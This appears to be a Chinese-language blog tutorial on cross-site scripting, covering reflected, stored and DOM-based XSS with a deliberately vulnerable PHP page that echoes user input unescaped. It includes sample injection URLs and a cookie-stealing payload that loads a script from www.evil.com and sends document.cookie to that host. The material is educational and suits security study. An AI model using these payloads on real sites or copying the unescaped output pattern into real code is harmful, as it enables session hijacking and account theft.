1.基本概念

XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是一种通过注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序,从而获取更高的权限、私密网页内容、会话和cookie等各种内容的计算机安全漏洞。 恶意网页程序包括JavaScript、Java、HTML等。

2.类型

xss攻击可以分成两大类:

(1)非持久型攻击:一次性,仅对当次的页面访问产生影响。用户访问一个被攻击者篡改后的链接后,被植入的攻击脚本被游览器执行,从而达到攻击目的。
(2)持久型攻击:攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

常见的三种XSS攻击类型

1.反射型(非持久 后端):
通过浏览器直接“反射”给用户,例如攻击者提前构造一个恶意链接,来诱使用户点击,比如这样的一段链接:www.abc.com/?params=<script>alert(/xss/)</script>。
2.存储型(持久 后端):
黑客输入的恶意脚本存储在服务器的数据库中。当其他用户浏览页面包含这个恶意脚本的页面,用户将会受到黑客的攻击。一个场景是攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。
3.DOM Based XSS(持久 前端):
一种利用前端代码漏洞进行攻击的攻击方式,前面的反射型XSS与存储型XSS本质都是利用后端代码的漏洞,payload在响应页面中。DOM Based payload不在服务器发出的HTTP响应页面中,当客户端脚本运行时(渲染页面时),payload才会加载到脚本中执行。
例如提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。

一个例子

本地服务器的的/xssTest 目录下,有一个test.php文件,代码如下:

1
2
3
4
<?php
$userName=$_GET['userName']; //获取用户输入的参数
echo "<b>".$userName."</b>"; //直接输出用户的参数给前端页面
?>

正常情况下,用户提交的姓名可以正确显示在页面上,不会构成XSS攻击,比如,当用户访问以下URL:

1
http://localhost/xssTest/test.php?userName=jack`

页面会显示:
1
可以看到,用户在URL中输入的参数正常显示在页面上。然后,我们在URL中插入JavaScript代码,如:

1
http://localhost/xssTest/test.php?userName=<script>window.open(http://www.baidu.com)</script>

则页面会显示:
2
可以看到,页面没有把userName后面的内容显示出来,而且打开了一个新的标签页,原因是在URL中带有一段打开另一标签页的恶意脚本。
这个例子体现了最简单的XSS攻击的完整流程。

XSS Payload

我们把进行XSS攻击的恶意脚本成为XSS Payload。XSS Payload的本质是JavaScript脚本,所以JavaScript可以做什么,XSS攻击就可以做什么。
一个最常见的XSS Payload就是盗取用户的Cookie,从而发起Cookie劫持攻击。Cookie中,一般会保存当前用户的登录凭证,如果Cookie被黑客盗取,意味着黑客有可能通过Cookie直接登进用户的账户,进行恶意操作。
如下所示,攻击者先加载一个远程脚本:

1
http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>

而真正的XSS Payload,则写在远程脚本evil.js中。在evil.js中,可以通过下列代码窃取用户Cookie:

1
2
3
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码插入了一张看不见的图片,同时把document.cookie作为参数,发到远程服务器。黑客在拿到cookie后,只需要替换掉自身的cookie,就可以登入被盗取者的账户,进行恶意操作。

参考文献来自于百度,csdn,博客园,个人博客站点等
推荐文章 https://www.cnblogs.com/Renyi-Fan/p/9951407.html